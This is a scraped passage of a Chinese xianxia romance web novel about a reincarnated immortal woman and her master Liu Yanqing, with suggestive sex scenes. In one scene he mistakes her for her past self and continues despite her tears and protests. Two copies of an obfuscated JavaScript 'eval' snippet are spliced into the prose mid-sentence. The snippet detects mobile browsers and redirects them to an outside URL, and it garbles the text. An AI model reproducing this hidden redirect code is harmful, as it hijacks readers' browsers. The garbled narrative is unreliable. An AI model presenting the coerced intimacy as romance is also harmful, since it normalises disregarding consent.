柳砚清自顾自斟茶,雪白的衣袖滑落腕间:“不吃,今日便没有下顿。” 想想更气!我赌气不动筷,任米饭渐渐凝出硬壳。 余光里,他从容饮茶,我干脆背过身去。 沉寂许久,我悄悄回头,正对上他抬起的眼眸。 “师……”我声音软下来,“以后不许这样了。你说的每句话,我都想记在心底……” 他忽然夹了一筷子菜到我碗里。 “吃饭。” 我鼻子一酸,低头扒饭,米粒粘在嘴角。 他手指微动,终是推了推茶盏:“嘴角,有米粒。” “嗯……” 一片枯叶忽地拍打窗棂。 柳砚清的指尖一顿,眸光微沉。隆冬时节,何来落叶? “昨夜梦见了什么?”他忽然问。 “……没做梦。”我扒着碗底。 “说实话。” 眼见谎言拆穿,我望向窗外枯败的竹林。 “梦见位姑娘,在教我一首曲子。她家是唱戏的班子,她在教我唱一种叫小调的曲子。” “然后呢?” 我没想到柳砚清对我的梦这么好奇,原本模糊的梦眼下要更努力全部回忆起来才行。 “然后……我带了什么人去与她赴约?是这样吧,然后三个人一起喝酒来着。” “第三个人是谁?” “模模糊糊的……我好像叫了他的名字……” 莫名心虚,我忙端起茶盏佯装啜饮,盯着窗外发呆。 “什么名字?” 柳砚清的声音突然截断在空气里。我下意识循声,正撞进他幽深的眼眸中,慢慢悠悠说道: “一个与你相似的名字……” 我没敢坦白。 因为梦中的人,哪儿只是和他名字相似,就连长相都几乎一模一样。 只是那人,名唤颜卿。 【入卿梦也】 山中某日。 夜里,我取出昨晚挖出来没喝几口的酒,跟柳砚清在房内闷不吭声的一杯接着一杯。 不到半个时辰后。 夜色如墨,细雨绵绵。 砚清被我撞得后退一步,后背抵上门框。 “你怎——” 他话未说完,我已经扑进他怀里。 “师、师尊……” 他想要推开我,却被我踮起脚尖更用力地吻住。 这个吻带着咸涩的味道。砚清的心猛地揪紧,扣住我的后脑加深了这个吻。 唇齿交缠间,我尝到了一丝若有若无的药草苦涩,还有浓烈的酒香。 “没个节制。” 我软塌塌地斜靠在柳砚清身上,他的后背抵着门框。 “嗯,酒,好喝……跟水一样,不好喝。没有你煮茶好喝。” “说什么胡话呢。你先起来,我去给你煮醒酒汤。” 他想推开我。这一动彻底惹恼了我。我插着腰呵斥:“煮什么煮!不许煮!你给我坐下!” 懵住的仙人似笑非笑。我按着他的肩膀,强行他就地坐下,我也跟着跪立,然后张开怀抱。 “嗯!” “嗯?” “嗯!!” “说话……” “抱我。” “……” 热气氤氲的视线中,他无奈摆了摆头,轻轻怀抱住我的腰。 “真乖。”我欣慰地抚摸他的头,夸奖他。 “……酒鬼。” “我没喝酒呢,喝的水。就是这水吧,啧啧,有股酒味儿。” “好在你是喝了酒会忘事儿的人。” “嗯?你说什么?” 温柔而缠绵的吻奉上,唇齿间交织着彼此的呼吸。 他抱起我,走进屋内,直到我的背脊触碰到柔软的床榻,他的吻才稍稍离去。 帷幕轻轻落下,夜色笼罩了整个房间,只剩下月光透过窗棂洒进来,为他们的身影镀上一层柔和的光晕。 “师尊长得真好看。” “多谢夸奖。” 我满脸期待地盯着他。仙人弯起眉眼和唇角,唇瓣蜻蜓点水般点了点我的鼻尖、眉心、额头。 “你也是,我见过最美的仙子。” 烛火摇曳,在墙上投下交缠的身影。 抑制不住的气息从唇缝挤出,接着变本加厉似的仰天长啸。双臂伸过砚清的肩膀,腾不出手来,他见状空出一只手捂住我的嘴。 即便如此,呜咽的声音还是声声入耳。 “声音太大。” “有什么关系……这山中,只有你我。” 既然手捂不住,那就用嘴吧。他想得还挺周到。 揪着心口的喘息与雨水拍打泥地的声音在寂静的夜里显得格外清晰,连我自己听了都忍不住脸红心跳。 大脑一片空白,只能被动地承受着他的侵略,指尖深深嵌入他的肩膀。 “我想听你叫我的名字。”他的唇稍稍离开,呼吸灼热地喷洒在我的耳畔,“不许叫师尊。” 我的意识早已模糊,耳边只剩下他的声音和心跳的轰鸣。他的唇再次落下,吻得我几乎喘不过气来。 就在这意乱情迷的瞬间,深爱的两个字不受控制地连连从我唇间溢出—— “砚清……砚清……” 许久没有睡得这般安稳。 砚清也是。 我拂去他额前的碎发,见他眉目舒展,拥紧我的双臂一点没松懈。相处至今,我还是第一次见他睡得安稳。 “你才会喝断片呢。” 7. 断魂无据 【又拂卿柳】 睡梦中的人呼唤的名字是“颜卿”,柳砚清听得很清楚。 当时旷野,他的的确确是保住了她的魂魄。按照千百年来“起死回生”的情况,术法施下后不出三日便会清醒过来。 她却整整昏迷了半年,且醒来后忘记了一切。不仅记忆消除,连性格也变了人似的。 想起她从前耳垂上的痣,借着“泥印”的借口捏了捏。 这一世的她同凡人无二,既没有仙术就连法器也消失不见。 “大仙为何不许自己告诉她姓名……” 是怕她再想起那个人,又重蹈覆辙吗?也不是没可能。 无论故事重来多少回,结局都奔向同一种结果。 入夜。 柳砚清从短暂的憩息中醒来,房中空无一人,唯有碳炉里的火出发低沉的噼啪声。 “人去哪儿了?” 门扉关合的位置稍有变化,应该是出门去了。 柳砚清紧蹙着眉,起身披衣,踏月而出,循着林间小径,步入幽深的竹林。 竹影婆娑,枝叶交错,仿佛天地间只剩下这一片静谧的绿意。 等等……竹林?死而复生的竹?这是,幻境? 柳砚清环顾四周,并未察觉到施术人的存在。整座山林都只有他和她的气息。 不会是她……她哪里还记得……听不见玉笛的声音,属于南风仙子的羽带也尚未坦白……所以眼前的幻境到底是…… 尽管说服自己不可能是她制造的幻境,可这片竹林明摆在眼前,与蓬莱第几宫的竹林几乎一模一样。 是她最喜欢的竹。 桑竹仙子在生下南风后因病早逝,南风不知娘亲模样,赤方神仙便编造谎言——“见到竹林,就能见到娘亲的样子”。 南风信以为真,无论蓬莱第几宫,还是人间山野,皆被她种下竹林,只为见一面从未见过的人。 忽然,一阵清风自林深处卷起,竹叶作响,宛如天籁之音。 柳砚清驻足凝望,只见远处暗处似有光影浮动,恍若梦境。 风愈急,竹叶纷扬,似碎玉倾泻,在月光下泛着银光旋舞。 就在这朦胧的光影中,一位女子款款从树影后走来。 她身披羽衣,衣袂如云,发丝如墨,随风飘散,眸中似有星辰闪烁。 羽带在她身后飘荡,宛如仙鹤展翅。她的脚步无声,每一步都带起一阵清风,卷起地上的落叶,化作点点金光,缠绕在她脚边。 似是月光的光从树冠间落下,光晕勾勒出她侧脸的轮廓。 柳砚清怔在原地,目光无法从她身上移开。心猛然一颤,瞳孔微缩,熟悉的身影让心头涌起一阵难以抑制的悸动。 是她。那个曾经在他梦中出现过无数次的身影,那个让他魂牵梦萦的人,那个甚至一别,临死才相见的人。 他下意识地向前迈了一步,脚下的枯叶发出轻微的碎裂声。他猛然顿住,不敢再向前,生怕这一切只是他的一场幻梦…… 一旦他靠近,便会消散在这无边的竹海之中。 那人回眸望向他,朱唇轻启。 “砚清。” 她的目光淡淡地落在他的身上,眸中却空无一物。 喉咙被什么堵住,发不出声音。只能眼睁睁地看着她,看着她在那片光影中若隐若现。 “……南风,是你吗……” 他终于低喃出声,声音轻得几乎被风声淹没。 他眼中带着希冀,又带着恐惧,在等待一个答案,又害怕那个答案会让他彻底心碎。 仙子的唇角微扬,露出一抹熟悉的笑。那笑意如春风拂过湖面,轻轻浅浅,一如三百年前,蓬莱第几宫的初见。 明知救回的是她,为什么自己就是无法坦然面对她……她明明……就在那里啊…… 他再也忍不住,猛地向前冲去。 就在即将撞上她的瞬间,他手臂一揽,将她紧拥入怀。她的身体如飞凫般轻盈,似神祇般飘忽。 怀中之人似乎怔愣了,未曾料到他会如此直接而热烈。 柳砚清的手臂收得更紧,生怕一松手,她便会再次离开。 良久,怀中之人终于有了反应。她的手指轻轻抬起,像是犹豫又像是试探,最终缓缓地、温柔地回拥住了他。 她的手掌贴在他的背上,指尖用力,紧紧抓住他。 柳砚清感受到她的回应,下巴轻轻抵在她的肩头,呼吸间尽是她身上淡淡的清香,像是山间的晨露,又像是林中的幽兰。 “你终于肯来见我了。” 她没有回答,只是将脸轻轻埋在他的肩窝。 风依旧在吹,竹叶依旧在沙沙作响,但此刻的柳砚清却觉得,整个世界都安静了下来,只剩下他与她,在这片竹海中紧紧相拥。 幻境在逐渐吞噬他的意识,他的理智。 愿言配德兮,携手相将。不得於飞兮,使我沦亡。 柳砚清无数次想过,莫非三百年蓬莱第几宫,不过白日忽一梦? 南柯浮梦……不过蓬莱第几宫的仙子给予他的一场幻梦。 她甚至愿意为了一个凡人抛弃姓名,与“他”沉沦为凡尘间的一粒红尘。 柳砚清从未真正拥有过她,南启的风,真的只是那年蓬莱求学,做的一场梦吗? 【又见东风】 耳畔灼热的呼吸不断呼唤着一个模糊的名字。风声呜咽,却掩不住那声音里刻骨的思念。 我攀附着柳砚清的后背,指尖深深陷入他的衣料。柳砚清的心跳透过相贴的胸膛传来,又快又重。 我知道,他心中的执念太深,深到连我自己都无法轻易解开。 “砚清,”我轻声开口,苦笑着强忍住心中的酸涩,“是我啊……你认错了。我是……” 柳砚清的身体微微一僵,手臂的力道渐渐松开。他的目光依旧紧紧锁在我的脸上,眼中闪过错愕与不可置信。 我扯出一抹笑,试图用轻松的语气打破这凝重的气氛,正想开口跟他开个玩笑,却没想到他的动作比我的话语更快。 他的吻毫无预兆,他的气息铺天盖地地席卷而来,他的唇瓣温热而柔软,将我所有的思绪都搅得混乱不堪,令人窒息。 我不知是该推开他还是该回应他。 风依旧在吹,开花的竹林枯枝摇曳,寒风凛冽。但此刻的我只能感受他的气息,他的温度,以及他近乎失控的情绪。 良久,他终于缓缓松开了我,仿佛在等我的答复,又露出害怕我拒绝的表情。 我张了张嘴,却发现自己发不出声音,心中的酸涩与无奈交织在一起。 我该怎么办,我该怎么回应你…… 半个时辰前。 见柳砚清撑着脑袋在书案上睡着,我披上柜子里翻找出的白色衣裳,出门去看屹立了六十年开花枯败的竹。 踱步时,突然听见有人踩响树叶的声响。 霜天雪地,哪里来的树叶? 我从树背后走出,回眸看到了一脸错愕的柳砚清。 “……风……” 他是在叫我吗?他似乎喊了好几遍,可我就是听不清第一个字是什么。 我笑着回应他,却不想他忽然奔向我,将我拥入怀中。 他哭了?不对,师尊怎么会哭呢,师尊怎么会在我面前哭呢。 我抬手回应他,似笑非笑地安慰他:“师尊,是我啊,你认错了。” 我感觉到手掌下的人怔愣了一下,心也跟着被抽打了一下。 他抬起头看着我,怕他尴尬我勉强自己笑,眼睛发酸鼻子酸涩也笑。 正想同他开玩笑,就被他突如其来的举动惊呆。 他在……吻我?!不对,师尊怎么会吻我呢,师尊怎么可能如此深情的吻我。 除非——他眼里的人,不是我。 床榻边堆叠着我的被褥和衣裳,凌乱地散落一地,两双或正或倒的鞋被掩埋。 他的衣襟松松微散,眼神迷离,呼吸沉重。 我被禁锢在不断升温的囚笼中,眼看着他进一步侵占我与他之间的空隙。 痛恨自己竟然有一瞬的贪欲。 柳砚清的一只手沿着我的脖子向下滑去,所经之处,仿佛有无数细针扎进发肤,瘙痒难耐,折磨难堪。 “砚清……师尊!你看清楚了,我是——” 他不喜欢我唤他师尊,那我就用这个刺耳的词语唤醒他。 然而,话音未落,我的腰上一紧,被他的双臂圈住拉向了他。仅有的一点隔阂空隙被瞬间填满,灼热的舌尖在耳内流连,而比这更灼热的在苍茫大海上掀起惊涛骇浪。 “你终于来见我了……我好想你啊……” 又是这句话,近乎呜咽的诉说。 冰冷的身躯紧紧拥着我,用尽一切用力圈住我。我却不敢直面他,回应他,绝望地仰起头盯着黝黑的天花顶,泪水连成线滑落至耳垂。脑海里却始终挥之不去,那双深邃的眼睛望着“我”,不是我的“我”。 他看到的人应该是个不会流泪,一身风流洒脱的人。哪是这样动不动就哭哭啼啼,自卑委屈之人。 颈项间传来温软的触感,他的吻轻轻落下,然后吻向耳垂,沿着泪线亲吻我的眼角。 略微粗糙的指腹抚摸着我的脸颊,轻轻拭去我眼角的泪水,耳畔听到了极尽温柔的笑意……是他从不会对我发出的声音。 “怎么哭了?眼睛哭肿可就不好看了。不是你说,身而为仙,绝不在我面前落泪吗?还说,直到我命数耗尽那天,也不会看到你流一滴眼泪……” 他的声音像是触动了某个开关,我原本压抑的情绪瞬间决堤。 眼泪不受控制地涌出,像是断了线的珠子,一颗接一颗地滚落。肩膀开始微微颤抖,呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056720|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸变得急促,喉咙里发出一声压抑的呜咽。 紧接着,所有的情绪像是洪水般倾泻而出,我终于崩溃大哭,哭声在寂静的山林中回荡。 他到底怎么了?重生前的我到底是做了什么让他如此执着?癫狂到这般境界。 我又到底做错了什么,他为什么不肯直面我,为什么不肯接受现在的我…… 第一滴泪落下时,他温柔地吻去。第二滴第三滴接连不断,他的动作开始慌乱,手掌轻轻拍着我的背,像是在安抚受惊的孩子。 “别哭……我在这里,我一直在。” 他的怀抱温暖而坚实,可我却哭得更凶了,仿佛要将心中所有的委屈、痛苦与无奈都发泄出来。 我的手指紧紧攥住他的衣襟,眼泪浸湿了他的胸口,哭声断断续续。 柳砚清没有再说话,只是将我抱得更紧。 “别哭,无论发生什么,我都会陪着你。上穷碧落下黄泉,我都能寻到你。一遍一遍……一次一次……将你拉回来。” “砚清……”我绝望地摆首,“我不是……我不是……我不是你要救回的人……” 我不是你想救回的人,我不是你记忆深处的那个人,不是你现在眼中看到的人。 我究竟是谁,连我自己也不清楚,我甚至叫不出自己的名字。 他的手掌依旧贴在我的脸颊上,指尖微微用力,要我的所有都注视着他。 “不,是你。我只要你。你也,只属于我吧。” 我闭上双眼,不愿再看他虔诚的面容。 他眼里看到的不是我,我也不该窥探到他不属于我的一面。 我没法说服自己,眼前的画面都只是一个假象,但我又比任何时候都希望他所说的、所做的一切都是真实的。 魂牵人,自乱方寸。 窗外的寒天动地被绿意覆盖,而我和他,仿佛被困在了这虚幻的梦想中,伴随每一次更深的侵袭向着全身蔓延,不断折磨彼此。 朦胧的烛光在我逐渐迷糊的视野中化为迷幻的光点,无可抑制的声音在房中回荡。 到底是哭泣的呜咽,还是绝望的悲鸣。 或许,是好的。 至少对于柳砚清而言,他是欣喜的。 至少……他冲我笑了。 我转过身,将头埋进凌乱的衣物中,不知是眼泪还是什么浸湿了它们。后背忽地贴上冰凉的胸膛,被汗水打湿的双臂再次将我圈住。 哪里逃得掉,哪里还有力气逃跑。被夺去意识和理智的人,不止是他柳砚清。 他喘息着汗水沿着脸颊滴落在我肩头,轻柔地将我凌乱潮湿的发丝拨至一侧,从身后捏住我的下巴回过头与他相视,滚烫的唇舌再次覆盖我的唇。 凶猛的烈马再次突破城门攻城略地,片甲不留,毫不怜惜。 竹叶的触感通常较为光滑,摸起来略带凉意。叶片边缘可能有些粗糙,尤其是老叶,但整体上质地较薄且柔韧。 新生的竹叶则更为柔软细腻。砚清……显然不是新生的竹叶。 动作熟练,一气呵成。 擅长突破的锄头总能精准找到深坑里的笋尖。 窗外是不是下雨了?断断续续的。混杂着山神与精灵的呼吸,跌宕起伏。 粗壮的春笋破土而出,是山间地头难得的宝贝,好在泥土包裹的严实没能轻易被发现。 笋子嘛,明知自己终究逃不过锄头的挖掘被送上餐桌,还是尽力把自己藏起来,埋得更深。 锄头陷进濡湿的泥土,被一股力量咬紧,挥动锄头的人只好摇晃着一点点将锄头拔出,然后又对准竹笋的根部落去。 似有雨水从破裂的缝隙中渗入……不对,雨好像停了,滴落的或许是晨露…… 竹子六十年开花,花开必枯死。 屋外的大片枯枝,不止是入冬沉寂的松柏,还有死亡的竹。 前些日子问起柳砚清,既然竹子已死为什么不挖除重新栽种? 他说,那是前人特意种下的,六十年前,甚至一百二十年前也曾开花枯死,仙人舍不得,一直留下等待复生。 我永远记得柳砚清说话时的表情,尤其是提到复生二字。 “那位前人一定很喜欢竹。” “不止是竹,还有那片不会衰败的梅林。因为她喜欢如此这般的人、事、物。” 医鹿山的梅林终年不谢,如同池里的莲,不受季节的更迭而更变花期。 柳砚清喜欢梅和这座山中小屋,是不是受了前人的影响。窗台紫色的桔梗花,梁上挂满的干花…… 寻不见柳砚清的日子,他都在这里度过的吧。 屋外的幻境散去,露出真实的黑夜。 院外池塘里,目睹了一切的仙鹤落下一滴泪,衔着仙子的羽带和仙人的棋子振翅飞向深空。 不知何时失去意识的我,做了一个多年前的梦…… 8. 清雨如雪 【逆梦归尘】 虚幻迷离的梦境里,我听到有人叫我的名字。 那个声音很温柔,胜过春色春风花红,带着清新的茶香和药香。像是从很远的地方传来,却清晰地落入耳畔,声声将我唤醒。 我睁开眼,神情恍惚,迟钝地反应了一会儿,终于意识到是柳砚清的声音。 “你确定要带这两个孩子回山吗?” 我一脸疑惑地跟上柳砚清,看他欲言又止。终于,前方停下脚步的人传来一声若有似无的叹息。 “做事不可草率,一定要三思而后行,记住了吗?” 我眨了眨眼,顺着柳砚清的视线落到茅屋角落两个蹲着的十来岁孩子。脸上脏兮兮的,身上的衣服看上去穿了很久没有换洗。 大一点的男孩子护着身旁的小姑娘,警惕着眼前两个陌生男女。 且不说慈眉善目的我,柳砚清那张清隽的脸不该有危机感才对啊。 为了降低他们的戒备心,我取下身上的披风,小心翼翼地靠近他们,在相隔数米远的距离蹲下身,将手中的披风递向小姑娘。 “入夜天冷,别感冒了。” 两人都没有搭理我,也没有伸手接过我的披风。 我猜到会是这样,也不伤心,把披风放在离她不远的地方,起身离开。 此次宁州之行,我陪着柳砚清在州中各村镇落脚,给看不起病的穷苦人家免费问诊和供药。 磨鱼村是回医鹿山前的最后一站,可算要结束漫长的行医之路。 柳砚清终日忙前忙后,我一无聊之辈,既不懂医术也不懂药草,度日如年。 两小儿也是打发时间瞎逛时,无意间发现的。 村长说,这俩孩子是从西北逃荒流落至此的孤儿,村民可怜就收留在村口废弃的茅屋内。 但收留归收留,保全自家温饱都成问题的年代,谁家都不愿意分出两份口粮给孩子。村长虽会每天送些粗粮来,还是祈祷能有人把俩孩子带走。 得知此事后,我央求医鹿山收留两个孩子。 柳砚清凡事都顺着我,但前提是在遵守医鹿山规定的情况下。 医鹿山什么规矩?不知道。柳砚清作为“山大王”,他的话不就是规矩? 见过两孩子,我的脑海里快速整理出了如何说服柳砚清的计划。 “权当收俩徒弟,多好。” 听我这么说,柳砚清轻轻笑了笑,手指点了点我的额头。 “有你都够累了。不过,他们肯定比你听话。” “什么嘛……我也有帮上你的地方好吧。” “比如?” “比如……” 我支支吾吾半天,什么都想不起来,半天蹦不出一个字。 柳砚清笑着,掀开自己的披风,把我揽进怀里和他裹在同一件披风下。 黄昏的霞光照在房顶的茅草上,耳畔有乌鸦声,各家各户升起炊烟,如岁月静好的乡村美卷。唯独身后的屋内,清冷黑暗,照不进一丝光亮。 柳砚清静静地看着我,他明白我在想什么,但也只安静地陪着我,把我揽得更近些。 “晚上会不会冷啊。” 听了我的话,柳砚清低下头,侧脸贴上我的额头。 “待会儿我麻烦村长给他们送床被子。如果顺利的话,明天我们就带他们回山。” 我猛地抬起头,欣喜地看向他。 “你同意了?” “我有说过不同意吗。” 柳砚清做出拗不过我无奈的样子。我笑着一把抱住他的腰,在他的胸前蹭了蹭。 “嘻嘻,以后你要当师尊啦。” “别说得我要当爹了似的。” “你想吗?” “可以吗?” “当然是——不可以了。” 我和柳砚清开着玩笑,依偎彼此。忽然想起什么,我抬手挡在唇边偷笑。 “三百岁的柳仙人和三千岁的南风仙子,诞下的孩子必然天生仙骨,生来便是仙。不必去受那修炼的苦,也免得我心疼。” 柳砚清俯身摩挲我微微染上红晕的耳垂。 “想的挺远。还是说,这是你做的梦?” “这就等仙长自己去想吧。” 深秋的雨说来就来。 半夜醒来找水喝,突然被窗外淅沥的雨声吸引。推开窗,冰冷的点滴毫无征兆地打在我脸上。 “下雨了?” “不对,好像是雪?秋日飞雪?” 自说自话,我被自己无厘头的话逗乐,伸手接住落下的雨水。清透的雨水,泛着似有若无的白光。 似清雨,却如雪。清冷如雨,却似雪温柔。 忽然,我想起茅屋里相依为命的两个孩子。男孩如雨一般清冷,内里是春夏的雨,温暖的。女孩似雪安静,鹅毛一般的雪落在身上,令人怜惜。 回想白日里的画面,我的视线不由得看向床铺上睡得正香的人。 我重新挲进被窝,钻进柳砚清的怀里,借着他的热意温暖我冰冷的身子。 “好温暖啊。” 我不由得感叹,胸口紧贴的地方隔着一层轻薄的衣裳传来暖阳般的温暖。 柳砚清的体温好像随时都很高,无论什么时候这双手握住我时,总能传递一份温暖给我,简直是行走的暖炉。 窗户外依旧细雨纷纷,此刻我却没了雨天潮湿烦闷的心情。 似清雨,却如雪。好像可以取名字!我迫不及待摇晃柳砚清的身子,把他从睡梦中强行唤醒。 “我想到了两个好名字!” 柳砚清迷迷糊糊嗯了一声,眼睛都没睁开。 我又继续说:“清雨和如雪,怎么样!” 柳砚清又“嗯”了一声,声音低沉而含糊。 他收了收拥住我的手臂,侧脸贴上我的额头,温热的气息拂过我的发丝,低沉沙哑的声音在我头顶响起,像是梦呓般模糊不清。 “跟我姓吗?” “啊?” 我一头雾水。收徒弟是会跟师傅同姓的吗?医鹿山何时有的规矩? “或者一人跟姓一个。”他的声音依旧含糊,像是半梦半醒间的呢喃,“你喜欢南清雨,还是南如雪?” 说完他便阖上眼,一副困到一时不清醒的样子。 “在说什么胡话呢……” 半梦半醒说胡话的柳砚清和平日里清高的医者简直判若两人。 不过,我倒乐此不疲,扰人清梦的乐趣就在于看他这副迷迷糊糊的样子,多些日后逗他的把柄。 我笑着拍了拍他的脸蛋,力道轻得像是挠痒痒。 “还没入后半夜就睡迷糊了?我在说茅屋那俩孩子的名字。他们不是没有名字嘛,我突然想到的。你觉得怎么样?” 说完,我又忍不住接了句:“况且,跟我也不姓南,跟你也不姓柳啊……” 叫南风的不姓南,叫柳砚清的不姓柳,天生一对的两个人呢,我暗自偷笑。 柳砚清又嗯了一声,随口说了声好,然后,呼吸渐渐平稳,胸膛随着呼吸微微起伏,彻底睡过去了。 看来真是睡迷糊了。 我憋着嘴看着他完全睡过去的样子,无可奈何地叹了口气,指尖戳了戳他脸。 怕吵醒他,我很小声地念了一句:“上年纪了吗,这么好睡。” 第二天,趁着柳砚清给村民义诊的空档,我悄悄溜到了茅屋前,心里盘算着如何说服那两孩子跟我们走。 首先得消除他们的戒备心。我轻手轻脚地伏在门口,偷偷往里瞄了一眼,目光迅速锁定在昨天留下的披风上。 咦?披风不在原处……啊!在小姑娘的身上!她正裹着那件披风,坐在角落里,手里捧着一块干粮,小口小口地啃着。 我心中一喜,忍不住握了握拳:向成功迈进了一大步! 我调整了下表情,推开门走了进去。随着我的脚步声,两个孩子一齐抬头看向我。 没等我开口进行计划的下一步,小姑娘率先站起身热情地朝我跑来,怀里还抱着那件披风。 “谢谢姐姐。” 她的声音清脆,如冬雪般温柔,如雪这名字太适合她了! 我笑着摇了摇头,没有接过她还回来的披风。 “送给你啦。马上入冬了,也该给你们添置些新衣裳啦。怎么样?要不要考虑做昨天那位叔……额,爷爷?大哥?咳咳——” 说到一半,我突然卡住了,一时半会儿不知道怎么向俩孩子介绍柳砚清。总不能直言不讳,告诉他们那位是三百多岁的老仙人吧?那怕是会把他们吓跑。 小姑娘似乎并不讨厌这个提议,眼里闪烁着期待的光。 但她并没有立刻答应,而是转头看向身后的少年,像是在征求他的意见。 少年与我对视良久,目光深邃而平静,像是透过我的眼底想发现什么。 为了表示我的决心,我丝毫不敢眨眼睛,紧紧盯着他那双失掉光芒的眼睛,试图用真诚打动他。 “那位大人,是什么?” 少年终于开口,声音像是雨滴轻轻落在石板上清冷。 不得不承认,我就是个取名天才! “我看村里人都尊称他神仙大人。” “他是医鹿山的神医,包治百病!他教出来的徒弟现在都成了一代名医。有些甚至后面几代人都是名医!” 我说得激动,大脑来不及过一遍便脱口而出,丝毫没觉得话里有什么问题。 见少年依旧沉默,我赶紧补充道:“医鹿山上有吃有住,风景优美,气候宜人!待遇超好,上五休二!休息日可以下山,山下就是鹿镇。鹿镇也是西蜀官道重要的驿站,想买啥都有!甚至还有世上最好喝的桃花酿!不对,你们还不能喝酒……好吃的也很多!烧鸡烧鹅,卤猪蹄炒板栗……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后来柳砚清告诉我,在我魂魄游离之际,他想象着我的样子,做了件他此生想都没想过的事情——主动收徒。 柳砚清众多弟子中有一人特别不喜欢我。柳砚清的大弟子——宁安桥,得到神鹿指引上山求医救母的少年。 讨厌的具体原因,我也不知道。说来可笑,我堂堂九天神女,竟被个凡间少年屡屡冷眼相待。这要是被蓬莱仙岛那群嘴碎的人知道,又要传出什么离谱的言论。 陪柳砚清返程抵达医鹿山山门时,那名弟子已经等候在那里。 他见到柳砚清嘘寒问暖,但当目光落到我身上时立马切换成冷眼模式。 这已不是头一遭了。自柳砚清收他为徒起,我每次踏足医鹿山,总要受他这般冷遇。我问过柳砚清,他告诉我,那孩子是他捡回的孤儿。 我了然应声。所以呢?这和讨厌我有什么关系? “别想那么多了,安桥不是讨厌你。那孩子心思缜密,相处久了,他会对你敞开心扉的。” 像是想让我安心一般,柳砚清握住了我的手。 这话他说了不下十遍。可三年过去,但凡去医鹿山,宁安桥看我的眼神依旧像在看什么脏东西。 在我的印象中,宁安桥平常很少露出笑容,再好笑的事情也不会笑。但因为学习努力认真,又耐心替人解惑,同门师弟师妹都挺喜欢他的。 宁安桥不是柳砚清收下的第一个弟子,却是柳砚清此生第一次主动收下的弟子。 十几岁的少年长得意外高大健壮。要说我,学医可惜了,那身体,该去带兵打仗才对。 “罢了,神仙何必与孩童计较。”我常这般宽慰自己,权当他嫉妒我能挽着柳砚清的手臂撒娇。 所谓冤家路窄。 去梅林午睡的路上,撞见了从医仙殿走出来的宁安桥。 只是碰上,十几岁少年的脸上厌恶明显,嘴角立刻抿成直线,像见了什么秽物般横着眼越过我。 “喂。” 我叫住他。 “我做了什么对不起你的事吗?” 少年身形一顿,背对着我硬邦邦道:“不曾。” “那你为何讨厌我?” “因为你做了对不起师尊的事。” “啊?” 少年突然转身,眼中怒火灼灼,居高临下地瞪视着我。 他身形高大,我堪堪只及他胸口,不得不拼命仰起头才能对上他的视线。 宁安桥攥紧的拳头青筋暴起,每一个都似从咬紧的齿缝处溢出:“你对不起师尊,所以我讨厌你。你对师尊不忠,所以我讨厌你。你想来就来想走就走,师尊却一直在此等你……所以我,特别讨厌你。” 连着说完三个讨厌后,宁安桥头也不回地离开我的视线。 气……气死我了! “岂有此理!居然敢骂我?!”我气得一脚踢飞了脚边的石子。 回蓬莱第几宫后,我找到西雨替我抹除宁安桥关于我的记忆,也清除我对宁安桥的记忆。 西雨虽然照做,还是在消除之前问了句为什么。 为什么?!记着他气死我吗!! 此时,距离我第二次奔赴旷野死在柳砚清怀中,还有六年。 9. 瑶华映阙 【梦溯流光】 寒风凛冽,未锁的窗扉被一阵突如其来的狂风猛然推开,窗框重重地撞击在墙壁上,发出惊雷般的声响。 我从梦中惊醒,心跳如鼓。 孟冬之月,该考虑储备过冬的厚衣厚被了。 我推开窗,恰好碰见清雨在院中清扫落叶。 他抬头望见我,微笑招呼:“姑娘醒了。今日霜降,山中会炖煮羊肉,晚些时候麻烦姑娘带师尊一同来用膳吧。” “放心吧,今日无论如何我都会把他拖来。” 清雨点头致意:“劳烦姑娘了。” 医鹿山虽为仙山,气候却与人间无异。我翻箱倒柜,找出了几件旧时的冬衣,又翻出前些日子下山时带回的两件厚棉衣。 出门时,清雨正好收拾完准备离去。 “清雨。” 我探出窗外,叫住他。顾不上披外衣,夺门而出。 “姑娘找我?” 我晃了晃手中的棉衣,不等他反应过来,塞进他怀里。 “马上入冬,也该添置些新衣了。你和如雪一人一件,回头试试合不合身,若不合身,我再找人改改。” 清雨接过棉衣,一时出神,随即眼里泛起微澜的笑意,将衣服紧紧抱在怀中:“姑娘以前,也和我们说过同样的话。” “是吗?” 我笑了笑,心中却一片茫然。昨夜的梦境中,似乎有过类似的谈话,但醒来后一切都模糊不清。 “姑娘。”清雨欲言又止,最终只是笑着摇了摇头,“谢谢你的棉衣。” 晚膳,医鹿山的仙长弟子们围坐一堂,享用热气腾腾的羊肉汤锅。 往些年柳砚清一直拒绝入宴,说不喜羊肉的膻味。 为此,我特地去了厨房打探,未闻到膻味,反倒被香气勾得饥肠辘辘。 天寒地冻,羊肉汤正是驱寒佳品啊! 下午去寻柳砚清时,他正在书阁的密室翻找什么。几排书架被摆得密密麻麻,书卷上的墨迹深浅不一。 这是我第一次进到医鹿山书阁的密室,心血来潮,随手拿起几卷翻阅。 应该不是什么秘宝,因为柳砚清没有制止我。 “找我何事?” 听见声音,我放下手里的卷轴,跳到柳砚清对面,隔着书架透过空隙看他。 “今日霜降,大家准备煮羊肉汤,师尊也一起来呗。” “不去。”清冷的声音直接拒绝,“还有,不许叫我师尊。屡教不改。” 柳砚清似乎在认真地看手里的卷轴,我越过去偷瞄,隐隐觉得有些眼熟。 “经脉图?” 医书中再常见不过的经脉图,柳砚清为何跑密室来看? 我观摩者卷轴上的经脉图,视线最终落在左下角的落款处。 “蓬莱仙岛,南——” 还没看全写什么字,卷轴就被柳砚清合上。 “我就看看嘛……” “不许。” 他将卷轴放回书架,又取下另一本。 “我不吃晚膳。” “不吃饭是想成仙吗……去嘛!” 